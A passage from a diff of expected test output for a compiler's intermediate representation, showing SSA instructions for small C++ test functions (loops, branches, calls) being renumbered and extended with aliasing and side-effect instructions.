Constant[1] : +# 223| r0_23(glval) = VariableAddress[y] : +# 223| r0_24(short) = Load : r0_23, m0_21 +# 223| r0_25(short) = ShiftLeft : r0_24, r0_22 +# 223| m0_26(short) = Store : r0_23, r0_25 +# 226| r0_27(glval) = VariableAddress[z] : +# 226| r0_28(long) = Constant[7] : +# 226| m0_29(long) = Store : r0_27, r0_28 +# 227| r0_30(float) = Constant[2.0] : +# 227| r0_31(glval) = VariableAddress[z] : +# 227| r0_32(long) = Load : r0_31, m0_29 +# 227| r0_33(float) = Convert : r0_32 +# 227| r0_34(float) = Add : r0_33, r0_30 +# 227| r0_35(long) = Convert : r0_34 +# 227| m0_36(long) = Store : r0_31, r0_35 +# 228| v0_37(void) = NoOp : +# 213| v0_38(void) = ReturnVoid : +# 213| v0_39(void) = UnmodeledUse : mu* +# 213| v0_40(void) = ExitFunction : # 230| UninitializedVariables() -> void # 230| Block 0 # 230| v0_0(void) = EnterFunction : -# 230| mu0_1(unknown) = UnmodeledDefinition : -# 231| r0_2(glval) = VariableAddress[x] : -# 231| m0_3(int) = Uninitialized : r0_2 -# 232| r0_4(glval) = VariableAddress[y] : -# 232| r0_5(glval) = VariableAddress[x] : -# 232| r0_6(int) = Load : r0_5, m0_3 -# 232| m0_7(int) = Store : r0_4, r0_6 -# 233| v0_8(void) = NoOp : -# 230| v0_9(void) = ReturnVoid : -# 230| v0_10(void) = UnmodeledUse : mu* -# 230| v0_11(void) = ExitFunction : +# 230| m0_1(unknown) = AliasedDefinition : +# 230| mu0_2(unknown) = UnmodeledDefinition : +# 231| r0_3(glval) = VariableAddress[x] : +# 231| m0_4(int) = Uninitialized[x] : r0_3 +# 232| r0_5(glval) = VariableAddress[y] : +# 232| r0_6(glval) = VariableAddress[x] : +# 232| r0_7(int) = Load : r0_6, m0_4 +# 232| m0_8(int) = Store : r0_5, r0_7 +# 233| v0_9(void) = NoOp : +# 230| v0_10(void) = ReturnVoid : +# 230| v0_11(void) = UnmodeledUse : mu* +# 230| v0_12(void) = ExitFunction : # 235| Parameters(int, int) -> int # 235| Block 0 # 235| v0_0(void) = EnterFunction : -# 235| mu0_1(unknown) = UnmodeledDefinition : -# 235| r0_2(glval) = VariableAddress[x] : -# 235| m0_3(int) = InitializeParameter[x] : r0_2 -# 235| r0_4(glval) = VariableAddress[y] : -# 235| m0_5(int) = InitializeParameter[y] : r0_4 -# 236| r0_6(glval) = VariableAddress[#return] : -# 236| r0_7(glval) = VariableAddress[x] : -# 236| r0_8(int) = Load : r0_7, m0_3 -# 236| r0_9(glval) = VariableAddress[y] : -# 236| r0_10(int) = Load : r0_9, m0_5 -# 236| r0_11(int) = Rem : r0_8, r0_10 -# 236| m0_12(int) = Store : r0_6, r0_11 -# 235| r0_13(glval) = VariableAddress[#return] : -# 235| v0_14(void) = ReturnValue : r0_13, m0_12 -# 235| v0_15(void) = UnmodeledUse : mu* -# 235| v0_16(void) = ExitFunction : +# 235| m0_1(unknown) = AliasedDefinition : +# 235| mu0_2(unknown) = UnmodeledDefinition : +# 235| r0_3(glval) = VariableAddress[x] : +# 235| m0_4(int) = InitializeParameter[x] : r0_3 +# 235| r0_5(glval) = VariableAddress[y] : +# 235| m0_6(int) = InitializeParameter[y] : r0_5 +# 236| r0_7(glval) = VariableAddress[#return] : +# 236| r0_8(glval) = VariableAddress[x] : +# 236| r0_9(int) = Load : r0_8, m0_4 +# 236| r0_10(glval) = VariableAddress[y] : +# 236| r0_11(int) = Load : r0_10, m0_6 +# 236| r0_12(int) = Rem : r0_9, r0_11 +# 236| m0_13(int) = Store : r0_7, r0_12 +# 235| r0_14(glval) = VariableAddress[#return] : +# 235| v0_15(void) = ReturnValue : r0_14, m0_13 +# 235| v0_16(void) = UnmodeledUse : mu* +# 235| v0_17(void) = ExitFunction : # 239| IfStatements(bool, int, int) -> void # 239| Block 0 # 239| v0_0(void) = EnterFunction : -# 239| mu0_1(unknown) = UnmodeledDefinition : -# 239| r0_2(glval) = VariableAddress[b] : -# 239| m0_3(bool) = InitializeParameter[b] : r0_2 -# 239| r0_4(glval) = VariableAddress[x] : -# 239| m0_5(int) = InitializeParameter[x] : r0_4 -# 239| r0_6(glval) = VariableAddress[y] : -# 239| m0_7(int) = InitializeParameter[y] : r0_6 -# 240| r0_8(glval) = VariableAddress[b] : -# 240| r0_9(bool) = Load : r0_8, m0_3 -# 240| v0_10(void) = ConditionalBranch : r0_9 +# 239| m0_1(unknown) = AliasedDefinition : +# 239| mu0_2(unknown) = UnmodeledDefinition : +# 239| r0_3(glval) = VariableAddress[b] : +# 239| m0_4(bool) = InitializeParameter[b] : r0_3 +# 239| r0_5(glval) = VariableAddress[x] : +# 239| m0_6(int) = InitializeParameter[x] : r0_5 +# 239| r0_7(glval) = VariableAddress[y] : +# 239| m0_8(int) = InitializeParameter[y] : r0_7 +# 240| r0_9(glval) = VariableAddress[b] : +# 240| r0_10(bool) = Load : r0_9, m0_4 +# 240| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 7 # 243| Block 1 # 243| r1_0(glval) = VariableAddress[b] : -# 243| r1_1(bool) = Load : r1_0, m0_3 +# 243| r1_1(bool) = Load : r1_0, m0_4 # 243| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 # 244| Block 2 # 244| r2_0(glval) = VariableAddress[y] : -# 244| r2_1(int) = Load : r2_0, m0_7 +# 244| r2_1(int) = Load : r2_0, m0_8 # 244| r2_2(glval) = VariableAddress[x] : # 244| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 # 247| Block 3 -# 247| m3_0(int) = Phi : from 1:m0_5, from 2:m2_3 +# 247| m3_0(int) = Phi : from 1:m0_6, from 2:m2_3 # 247| r3_1(glval) = VariableAddress[x] : # 247| r3_2(int) = Load : r3_1, m3_0 # 247| r3_3(int) = Constant[7] : @@ -1075,9 +1104,10 @@ ir.cpp: # 253| WhileStatements(int) -> void # 253| Block 0 # 253| v0_0(void) = EnterFunction : -# 253| mu0_1(unknown) = UnmodeledDefinition : -# 253| r0_2(glval) = VariableAddress[n] : -# 253| m0_3(int) = InitializeParameter[n] : r0_2 +# 253| m0_1(unknown) = AliasedDefinition : +# 253| mu0_2(unknown) = UnmodeledDefinition : +# 253| r0_3(glval) = VariableAddress[n] : +# 253| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 3 # 255| Block 1 @@ -1095,7 +1125,7 @@ ir.cpp: # 253| v2_3(void) = ExitFunction : # 254| Block 3 -# 254| m3_0(int) = Phi : from 0:m0_3, from 1:m1_4 +# 254| m3_0(int) = Phi : from 0:m0_4, from 1:m1_4 # 254| r3_1(glval) = VariableAddress[n] : # 254| r3_2(int) = Load : r3_1, m3_0 # 254| r3_3(int) = Constant[0] : @@ -1107,13 +1137,14 @@ ir.cpp: # 259| DoStatements(int) -> void # 259| Block 0 # 259| v0_0(void) = EnterFunction : -# 259| mu0_1(unknown) = UnmodeledDefinition : -# 259| r0_2(glval) = VariableAddress[n] : -# 259| m0_3(int) = InitializeParameter[n] : r0_2 +# 259| m0_1(unknown) = AliasedDefinition : +# 259| mu0_2(unknown) = UnmodeledDefinition : +# 259| r0_3(glval) = VariableAddress[n] : +# 259| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 261| Block 1 -# 261| m1_0(int) = Phi : from 0:m0_3, from 1:m1_5 +# 261| m1_0(int) = Phi : from 0:m0_4, from 1:m1_5 # 261| r1_1(int) = Constant[1] : # 261| r1_2(glval) = VariableAddress[n] : # 261| r1_3(int) = Load : r1_2, m1_0 @@ -1136,50 +1167,43 @@ ir.cpp: # 265| For_Empty() -> void # 265| Block 0 # 265| v0_0(void) = EnterFunction : -# 265| mu0_1(unknown) = UnmodeledDefinition : -# 266| r0_2(glval) = VariableAddress[j] : -# 266| m0_3(int) = Uninitialized : r0_2 -#-----| Goto -> Block 2 +# 265| m0_1(unknown) = AliasedDefinition : +# 265| mu0_2(unknown) = UnmodeledDefinition : +# 266| r0_3(glval) = VariableAddress[j] : +# 266| m0_4(int) = Uninitialized[j] : r0_3 +#-----| Goto -> Block 1 -# 265| Block 1 -# 265| v1_0(void) = ReturnVoid : -# 265| v1_1(void) = UnmodeledUse : mu* -# 265| v1_2(void) = ExitFunction : - -# 268| Block 2 -# 268| v2_0(void) = NoOp : -#-----| Goto -> Block 2 +# 268| Block 1 +# 268| v1_0(void) = NoOp : +#-----| Goto -> Block 1 # 272| For_Init() -> void # 272| Block 0 # 272| v0_0(void) = EnterFunction : -# 272| mu0_1(unknown) = UnmodeledDefinition : -# 273| r0_2(glval) = VariableAddress[i] : -# 273| r0_3(int) = Constant[0] : -# 273| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 272| m0_1(unknown) = AliasedDefinition : +# 272| mu0_2(unknown) = UnmodeledDefinition : +# 273| r0_3(glval) = VariableAddress[i] : +# 273| r0_4(int) = Constant[0] : +# 273| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 272| Block 1 -# 272| v1_0(void) = ReturnVoid : -# 272| v1_1(void) = UnmodeledUse : mu* -# 272| v1_2(void) = ExitFunction : - -# 274| Block 2 -# 274| v2_0(void) = NoOp : -#-----| Goto -> Block 2 +# 274| Block 1 +# 274| v1_0(void) = NoOp : +#-----| Goto -> Block 1 # 278| For_Condition() -> void # 278| Block 0 # 278| v0_0(void) = EnterFunction : -# 278| mu0_1(unknown) = UnmodeledDefinition : -# 279| r0_2(glval) = VariableAddress[i] : -# 279| r0_3(int) = Constant[0] : -# 279| m0_4(int) = Store : r0_2, r0_3 +# 278| m0_1(unknown) = AliasedDefinition : +# 278| mu0_2(unknown) = UnmodeledDefinition : +# 279| r0_3(glval) = VariableAddress[i] : +# 279| r0_4(int) = Constant[0] : +# 279| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 280| Block 1 # 280| r1_0(glval) = VariableAddress[i] : -# 280| r1_1(int) = Load : r1_0, m0_4 +# 280| r1_1(int) = Load : r1_0, m0_5 # 280| r1_2(int) = Constant[10] : # 280| r1_3(bool) = CompareLT : r1_1, r1_2 # 280| v1_4(void) = ConditionalBranch : r1_3 @@ -1190,48 +1214,42 @@ ir.cpp: # 281| v2_0(void) = NoOp : #-----| Goto -> Block 1 -# 283| Block 3 -# 283| v3_0(void) = NoOp : -# 278| v3_1(void) = ReturnVoid : -# 278| v3_2(void) = UnmodeledUse : mu* -# 278| v3_3(void) = ExitFunction : +# 278| Block 3 +# 278| v3_0(void) = Unreached : # 285| For_Update() -> void # 285| Block 0 # 285| v0_0(void) = EnterFunction : -# 285| mu0_1(unknown) = UnmodeledDefinition : -# 286| r0_2(glval) = VariableAddress[i] : -# 286| r0_3(int) = Constant[0] : -# 286| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 285| m0_1(unknown) = AliasedDefinition : +# 285| mu0_2(unknown) = UnmodeledDefinition : +# 286| r0_3(glval) = VariableAddress[i] : +# 286| r0_4(int) = Constant[0] : +# 286| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 285| Block 1 -# 285| v1_0(void) = ReturnVoid : -# 285| v1_1(void) = UnmodeledUse : mu* -# 285| v1_2(void) = ExitFunction : - -# 288| Block 2 -# 288| m2_0(int) = Phi : from 0:m0_4, from 2:m2_6 -# 288| v2_1(void) = NoOp : -# 287| r2_2(int) = Constant[1] : -# 287| r2_3(glval) = VariableAddress[i] : -# 287| r2_4(int) = Load : r2_3, m2_0 -# 287| r2_5(int) = Add : r2_4, r2_2 -# 287| m2_6(int) = Store : r2_3, r2_5 -#-----| Goto -> Block 2 +# 288| Block 1 +# 288| m1_0(int) = Phi : from 0:m0_5, from 1:m1_6 +# 288| v1_1(void) = NoOp : +# 287| r1_2(int) = Constant[1] : +# 287| r1_3(glval) = VariableAddress[i] : +# 287| r1_4(int) = Load : r1_3, m1_0 +# 287| r1_5(int) = Add : r1_4, r1_2 +# 287| m1_6(int) = Store : r1_3, r1_5 +#-----| Goto -> Block 1 # 292| For_InitCondition() -> void # 292| Block 0 # 292| v0_0(void) = EnterFunction : -# 292| mu0_1(unknown) = UnmodeledDefinition : -# 293| r0_2(glval) = VariableAddress[i] : -# 293| r0_3(int) = Constant[0] : -# 293| m0_4(int) = Store : r0_2, r0_3 +# 292| m0_1(unknown) = AliasedDefinition : +# 292| mu0_2(unknown) = UnmodeledDefinition : +# 293| r0_3(glval) = VariableAddress[i] : +# 293| r0_4(int) = Constant[0] : +# 293| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 293| Block 1 # 293| r1_0(glval) = VariableAddress[i] : -# 293| r1_1(int) = Load : r1_0, m0_4 +# 293| r1_1(int) = Load : r1_0, m0_5 # 293| r1_2(int) = Constant[10] : # 293| r1_3(bool) = CompareLT : r1_1, r1_2 # 293| v1_4(void) = ConditionalBranch : r1_3 @@ -1242,47 +1260,41 @@ ir.cpp: # 294| v2_0(void) = NoOp : #-----| Goto -> Block 1 -# 296| Block 3 -# 296| v3_0(void) = NoOp : -# 292| v3_1(void) = ReturnVoid : -# 292| v3_2(void) = UnmodeledUse : mu* -# 292| v3_3(void) = ExitFunction : +# 292| Block 3 +# 292| v3_0(void) = Unreached : # 298| For_InitUpdate() -> void # 298| Block 0 # 298| v0_0(void) = EnterFunction : -# 298| mu0_1(unknown) = UnmodeledDefinition : -# 299| r0_2(glval) = VariableAddress[i] : -# 299| r0_3(int) = Constant[0] : -# 299| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 298| m0_1(unknown) = AliasedDefinition : +# 298| mu0_2(unknown) = UnmodeledDefinition : +# 299| r0_3(glval) = VariableAddress[i] : +# 299| r0_4(int) = Constant[0] : +# 299| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 298| Block 1 -# 298| v1_0(void) = ReturnVoid : -# 298| v1_1(void) = UnmodeledUse : mu* -# 298| v1_2(void) = ExitFunction : - -# 300| Block 2 -# 300| m2_0(int) = Phi : from 0:m0_4, from 2:m2_6 -# 300| v2_1(void) = NoOp : -# 299| r2_2(int) = Constant[1] : -# 299| r2_3(glval) = VariableAddress[i] : -# 299| r2_4(int) = Load : r2_3, m2_0 -# 299| r2_5(int) = Add : r2_4, r2_2 -# 299| m2_6(int) = Store : r2_3, r2_5 -#-----| Goto -> Block 2 +# 300| Block 1 +# 300| m1_0(int) = Phi : from 0:m0_5, from 1:m1_6 +# 300| v1_1(void) = NoOp : +# 299| r1_2(int) = Constant[1] : +# 299| r1_3(glval) = VariableAddress[i] : +# 299| r1_4(int) = Load : r1_3, m1_0 +# 299| r1_5(int) = Add : r1_4, r1_2 +# 299| m1_6(int) = Store : r1_3, r1_5 +#-----| Goto -> Block 1 # 304| For_ConditionUpdate() -> void # 304| Block 0 # 304| v0_0(void) = EnterFunction : -# 304| mu0_1(unknown) = UnmodeledDefinition : -# 305| r0_2(glval) = VariableAddress[i] : -# 305| r0_3(int) = Constant[0] : -# 305| m0_4(int) = Store : r0_2, r0_3 +# 304| m0_1(unknown) = AliasedDefinition : +# 304| mu0_2(unknown) = UnmodeledDefinition : +# 305| r0_3(glval) = VariableAddress[i] : +# 305| r0_4(int) = Constant[0] : +# 305| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 306| Block 1 -# 306| m1_0(int) = Phi : from 0:m0_4, from 2:m2_5 +# 306| m1_0(int) = Phi : from 0:m0_5, from 2:m2_5 # 306| r1_1(glval) = VariableAddress[i] : # 306| r1_2(int) = Load : r1_1, m1_0 # 306| r1_3(int) = Constant[10] : @@ -1309,14 +1321,15 @@ ir.cpp: # 311| For_InitConditionUpdate() -> void # 311| Block 0 # 311| v0_0(void) = EnterFunction : -# 311| mu0_1(unknown) = UnmodeledDefinition : -# 312| r0_2(glval) = VariableAddress[i] : -# 312| r0_3(int) = Constant[0] : -# 312| m0_4(int) = Store : r0_2, r0_3 +# 311| m0_1(unknown) = AliasedDefinition : +# 311| mu0_2(unknown) = UnmodeledDefinition : +# 312| r0_3(glval) = VariableAddress[i] : +# 312| r0_4(int) = Constant[0] : +# 312| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 312| Block 1 -# 312| m1_0(int) = Phi : from 0:m0_4, from 2:m2_5 +# 312| m1_0(int) = Phi : from 0:m0_5, from 2:m2_5 # 312| r1_1(glval) = VariableAddress[i] : # 312| r1_2(int) = Load : r1_1, m1_0 # 312| r1_3(int) = Constant[10] : @@ -1343,14 +1356,15 @@ ir.cpp: # 317| For_Break() -> void # 317| Block 0 # 317| v0_0(void) = EnterFunction : -# 317| mu0_1(unknown) = UnmodeledDefinition : -# 318| r0_2(glval) = VariableAddress[i] : -# 318| r0_3(int) = Constant[0] : -# 318| m0_4(int) = Store : r0_2, r0_3 +# 317| m0_1(unknown) = AliasedDefinition : +# 317| mu0_2(unknown) = UnmodeledDefinition : +# 318| r0_3(glval) = VariableAddress[i] : +# 318| r0_4(int) = Constant[0] : +# 318| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 318| Block 1 -# 318| m1_0(int) = Phi : from 0:m0_4, from 2:m2_4 +# 318| m1_0(int) = Phi : from 0:m0_5, from 2:m2_4 # 318| r1_1(glval) = VariableAddress[i] : # 318| r1_2(int) = Load : r1_1, m1_0 # 318| r1_3(int) = Constant[10] : @@ -1390,14 +1404,15 @@ ir.cpp: # 325| For_Continue_Update() -> void # 325| Block 0 # 325| v0_0(void) = EnterFunction : -# 325| mu0_1(unknown) = UnmodeledDefinition : -# 326| r0_2(glval) = VariableAddress[i] : -# 326| r0_3(int) = Constant[0] : -# 326| m0_4(int) = Store : r0_2, r0_3 +# 325| m0_1(unknown) = AliasedDefinition : +# 325| mu0_2(unknown) = UnmodeledDefinition : +# 326| r0_3(glval) = VariableAddress[i] : +# 326| r0_4(int) = Constant[0] : +# 326| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 326| Block 1 -# 326| m1_0(int) = Phi : from 0:m0_4, from 4:m4_5 +# 326| m1_0(int) = Phi : from 0:m0_5, from 4:m4_5 # 326| r1_1(glval) = VariableAddress[i] : # 326| r1_2(int) = Load : r1_1, m1_0 # 326| r1_3(int) = Constant[10] : @@ -1437,82 +1452,80 @@ ir.cpp: # 333| For_Continue_NoUpdate() -> void # 333| Block 0 # 333| v0_0(void) = EnterFunction : -# 333| mu0_1(unknown) = UnmodeledDefinition : -# 334| r0_2(glval) = VariableAddress[i] : -# 334| r0_3(int) = Constant[0] : -# 334| m0_4(int) = Store : r0_2, r0_3 +# 333| m0_1(unknown) = AliasedDefinition : +# 333| mu0_2(unknown) = UnmodeledDefinition : +# 334| r0_3(glval) = VariableAddress[i] : +# 334| r0_4(int) = Constant[0] : +# 334| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 334| Block 1 # 334| r1_0(glval) = VariableAddress[i] : -# 334| r1_1(int) = Load : r1_0, m0_4 +# 334| r1_1(int) = Load : r1_0, m0_5 # 334| r1_2(int) = Constant[10] : # 334| r1_3(bool) = CompareLT : r1_1, r1_2 # 334| v1_4(void) = ConditionalBranch : r1_3 -#-----| False -> Block 5 +#-----| False -> Block 4 #-----| True -> Block 2 # 335| Block 2 # 335| r2_0(glval) = VariableAddress[i] : -# 335| r2_1(int) = Load : r2_0, m0_4 +# 335| r2_1(int) = Load : r2_0, m0_5 # 335| r2_2(int) = Constant[5] : # 335| r2_3(bool) = CompareEQ : r2_1, r2_2 # 335| v2_4(void) = ConditionalBranch : r2_3 -#-----| False -> Block 4 -#-----| True -> Block 3 +#-----| False -> Block 3 +#-----| True -> Block 4 -# 336| Block 3 -# 336| v3_0(void) = NoOp : -#-----| Goto -> Block 4 - -# 334| Block 4 -# 334| v4_0(void) = NoOp : +# 334| Block 3 +# 334| v3_0(void) = NoOp : #-----| Goto -> Block 1 -# 339| Block 5 -# 339| v5_0(void) = NoOp : -# 333| v5_1(void) = ReturnVoid : -# 333| v5_2(void) = UnmodeledUse : mu* -# 333| v5_3(void) = ExitFunction : +# 333| Block 4 +# 333| v4_0(void) = Unreached : # 341| Dereference(int *) -> int # 341| Block 0 -# 341| v0_0(void) = EnterFunction : -# 341| mu0_1(unknown) = UnmodeledDefinition : -# 341| r0_2(glval) = VariableAddress[p] : -# 341| m0_3(int *) = InitializeParameter[p] : r0_2 -# 342| r0_4(int) = Constant[1] : -# 342| r0_5(glval) = VariableAddress[p] : -# 342| r0_6(int *) = Load : r0_5, m0_3 -# 342| mu0_7(int) = Store : r0_6, r0_4 -# 343| r0_8(glval) = VariableAddress[#return] : -# 343| r0_9(glval) = VariableAddress[p] : -# 343| r0_10(int *) = Load : r0_9, m0_3 -# 343| r0_11(int) = Load : r0_10, mu0_1 -# 343| m0_12(int) = Store : r0_8, r0_11 -# 341| r0_13(glval) = VariableAddress[#return] : -# 341| v0_14(void) = ReturnValue : r0_13, m0_12 -# 341| v0_15(void) = UnmodeledUse : mu* -# 341| v0_16(void) = ExitFunction : +# 341| v0_0(void) = EnterFunction : +# 341| m0_1(unknown) = AliasedDefinition : +# 341| mu0_2(unknown) = UnmodeledDefinition : +# 341| r0_3(glval) = VariableAddress[p] : +# 341| m0_4(int *) = InitializeParameter[p] : r0_3 +# 342| r0_5(int) = Constant[1] : +# 342| r0_6(glval) = VariableAddress[p] : +# 342| r0_7(int *) = Load : r0_6, m0_4 +# 342| m0_8(int) = Store : r0_7, r0_5 +# 342| m0_9(unknown) = Chi : m0_1, m0_8 +# 343| r0_10(glval) = VariableAddress[#return] : +# 343| r0_11(glval) = VariableAddress[p] : +# 343| r0_12(int *) = Load : r0_11, m0_4 +# 343| r0_13(int) = Load : r0_12, m0_9 +# 343| m0_14(int) = Store : r0_10, r0_13 +# 341| r0_15(glval) = VariableAddress[#return] : +# 341| v0_16(void) = ReturnValue : r0_15, m0_14 +# 341| v0_17(void) = UnmodeledUse : mu* +# 341| v0_18(void) = ExitFunction : # 348| AddressOf() -> int * # 348| Block 0 # 348| v0_0(void) = EnterFunction : -# 348| mu0_1(unknown) = UnmodeledDefinition : -# 349| r0_2(glval) = VariableAddress[#return] : -# 349| r0_3(glval) = VariableAddress[g] : -# 349| m0_4(int *) = Store : r0_2, r0_3 -# 348| r0_5(glval) = VariableAddress[#return] : -# 348| v0_6(void) = ReturnValue : r0_5, m0_4 -# 348| v0_7(void) = UnmodeledUse : mu* -# 348| v0_8(void) = ExitFunction : +# 348| m0_1(unknown) = AliasedDefinition : +# 348| mu0_2(unknown) = UnmodeledDefinition : +# 349| r0_3(glval) = VariableAddress[#return] : +# 349| r0_4(glval) = VariableAddress[g] : +# 349| m0_5(int *) = Store : r0_3, r0_4 +# 348| r0_6(glval) = VariableAddress[#return] : +# 348| v0_7(void) = ReturnValue : r0_6, m0_5 +# 348| v0_8(void) = UnmodeledUse : mu* +# 348| v0_9(void) = ExitFunction : # 352| Break(int) -> void # 352| Block 0 # 352| v0_0(void) = EnterFunction : -# 352| mu0_1(unknown) = UnmodeledDefinition : -# 352| r0_2(glval) = VariableAddress[n] : -# 352| m0_3(int) = InitializeParameter[n] : r0_2 +# 352| m0_1(unknown) = AliasedDefinition : +# 352| mu0_2(unknown) = UnmodeledDefinition : +# 352| r0_3(glval) = VariableAddress[n] : +# 352| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 5 # 354| Block 1 @@ -1544,7 +1557,7 @@ ir.cpp: # 352| v4_4(void) = ExitFunction : # 353| Block 5 -# 353| m5_0(int) = Phi : from 0:m0_3, from 3:m3_4 +# 353| m5_0(int) = Phi : from 0:m0_4, from 3:m3_4 # 353| r5_1(glval) = VariableAddress[n] : # 353| r5_2(int) = Load : r5_1, m5_0 # 353| r5_3(int) = Constant[0] : @@ -1556,13 +1569,14 @@ ir.cpp: # 360| Continue(int) -> void # 360| Block 0 # 360| v0_0(void) = EnterFunction : -# 360| mu0_1(unknown) = UnmodeledDefinition : -# 360| r0_2(glval) = VariableAddress[n] : -# 360| m0_3(int) = InitializeParameter[n] : r0_2 +# 360| m0_1(unknown) = AliasedDefinition : +# 360| mu0_2(unknown) = UnmodeledDefinition : +# 360| r0_3(glval) = VariableAddress[n] : +# 360| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 362| Block 1 -# 362| m1_0(int) = Phi : from 0:m0_3, from 4:m4_0 +# 362| m1_0(int) = Phi : from 0:m0_4, from 4:m4_0 # 362| r1_1(glval) = VariableAddress[n] : # 362| r1_2(int) = Load : r1_1, m1_0 # 362| r1_3(int) = Constant[1] : @@ -1603,197 +1617,202 @@ ir.cpp: # 372| Call() -> void # 372| Block 0 # 372| v0_0(void) = EnterFunction : -# 372| mu0_1(unknown) = UnmodeledDefinition : -# 373| r0_2(glval) = FunctionAddress[VoidFunc] : -# 373| v0_3(void) = Call : r0_2 -# 374| v0_4(void) = NoOp : -# 372| v0_5(void) = ReturnVoid : -# 372| v0_6(void) = UnmodeledUse : mu* -# 372| v0_7(void) = ExitFunction : +# 372| m0_1(unknown) = AliasedDefinition : +# 372| mu0_2(unknown) = UnmodeledDefinition : +# 373| r0_3(glval) = FunctionAddress[VoidFunc] : +# 373| v0_4(void) = Call : r0_3 +# 373| m0_5(unknown) = ^CallSideEffect : m0_1 +# 373| m0_6(unknown) = Chi : m0_1, m0_5 +# 374| v0_7(void) = NoOp : +# 372| v0_8(void) = ReturnVoid : +# 372| v0_9(void) = UnmodeledUse : mu* +# 372| v0_10(void) = ExitFunction : # 376| CallAdd(int, int) -> int # 376| Block 0 # 376| v0_0(void) = EnterFunction : -# 376| mu0_1(unknown) = UnmodeledDefinition : -# 376| r0_2(glval) = VariableAddress[x] : -# 376| m0_3(int) = InitializeParameter[x] : r0_2 -# 376| r0_4(glval) = VariableAddress[y] : -# 376| m0_5(int) = InitializeParameter[y] : r0_4 -# 377| r0_6(glval) = VariableAddress[#return] : -# 377| r0_7(glval) = FunctionAddress[Add] : -# 377| r0_8(glval) = VariableAddress[x] : -# 377| r0_9(int) = Load : r0_8, m0_3 -# 377| r0_10(glval) = VariableAddress[y] : -# 377| r0_11(int) = Load : r0_10, m0_5 -# 377| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 377| m0_13(int) = Store : r0_6, r0_12 -# 376| r0_14(glval) = VariableAddress[#return] : -# 376| v0_15(void) = ReturnValue : r0_14, m0_13 -# 376| v0_16(void) = UnmodeledUse : mu* -# 376| v0_17(void) = ExitFunction : +# 376| m0_1(unknown) = AliasedDefinition : +# 376| mu0_2(unknown) = UnmodeledDefinition : +# 376| r0_3(glval) = VariableAddress[x] : +# 376| m0_4(int) = InitializeParameter[x] : r0_3 +# 376| r0_5(glval) = VariableAddress[y] : +# 376| m0_6(int) = InitializeParameter[y] : r0_5 +# 377| r0_7(glval) = VariableAddress[#return] : +# 377| r0_8(glval) = FunctionAddress[Add] : +# 377| r0_9(glval) = VariableAddress[x] : +# 377| r0_10(int) = Load : r0_9, m0_4 +# 377| r0_11(glval) = VariableAddress[y] : +# 377| r0_12(int) = Load : r0_11, m0_6 +# 377| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 377| m0_14(unknown) = ^CallSideEffect : m0_1 +# 377| m0_15(unknown) = Chi : m0_1, m0_14 +# 377| m0_16(int) = Store : r0_7, r0_13 +# 376| r0_17(glval) = VariableAddress[#return] : +# 376| v0_18(void) = ReturnValue : r0_17, m0_16 +# 376| v0_19(void) = UnmodeledUse : mu* +# 376| v0_20(void) = ExitFunction : # 380| Comma(int, int) -> int # 380| Block 0 -# 380| v0_0(void) = EnterFunction : -# 380| mu0_1(unknown) = UnmodeledDefinition : -# 380| r0_2(glval) = VariableAddress[x] : -# 380| m0_3(int) = InitializeParameter[x] : r0_2 -# 380| r0_4(glval) = VariableAddress[y] : -# 380| m0_5(int) = InitializeParameter[y] : r0_4 -# 381| r0_6(glval) = VariableAddress[#return] : -# 381| r0_7(glval) = FunctionAddress[VoidFunc] : -# 381| v0_8(void) = Call : r0_7 -# 381| r0_9(glval) = FunctionAddress[CallAdd] : -# 381| r0_10(glval) = VariableAddress[x] : -# 381| r0_11(int) = Load : r0_10, m0_3 -# 381| r0_12(glval) = VariableAddress[y] : -# 381| r0_13(int) = Load : r0_12, m0_5 -# 381| r0_14(int) = Call : r0_9, r0_11, r0_13 -# 381| m0_15(int) = Store : r0_6, r0_14 -# 380| r0_16(glval) = VariableAddress[#return] : -# 380| v0_17(void) = ReturnValue : r0_16, m0_15 -# 380| v0_18(void) = UnmodeledUse : mu* -# 380| v0_19(void) = ExitFunction : +# 380| v0_0(void) = EnterFunction : +# 380| m0_1(unknown) = AliasedDefinition : +# 380| mu0_2(unknown) = UnmodeledDefinition : +# 380| r0_3(glval) = VariableAddress[x] : +# 380| m0_4(int) = InitializeParameter[x] : r0_3 +# 380| r0_5(glval) = VariableAddress[y] : +# 380| m0_6(int) = InitializeParameter[y] : r0_5 +# 381| r0_7(glval) = VariableAddress[#return] : +# 381| r0_8(glval) = FunctionAddress[VoidFunc] : +# 381| v0_9(void) = Call : r0_8 +# 381| m0_10(unknown) = ^CallSideEffect : m0_1 +# 381| m0_11(unknown) = Chi : m0_1, m0_10 +# 381| r0_12(glval) = FunctionAddress[CallAdd] : +# 381| r0_13(glval) = VariableAddress[x] : +# 381| r0_14(int) = Load : r0_13, m0_4 +# 381| r0_15(glval) = VariableAddress[y] : +# 381| r0_16(int) = Load : r0_15, m0_6 +# 381| r0_17(int) = Call : r0_12, r0_14, r0_16 +# 381| m0_18(unknown) = ^CallSideEffect : m0_11 +# 381| m0_19(unknown) = Chi : m0_11, 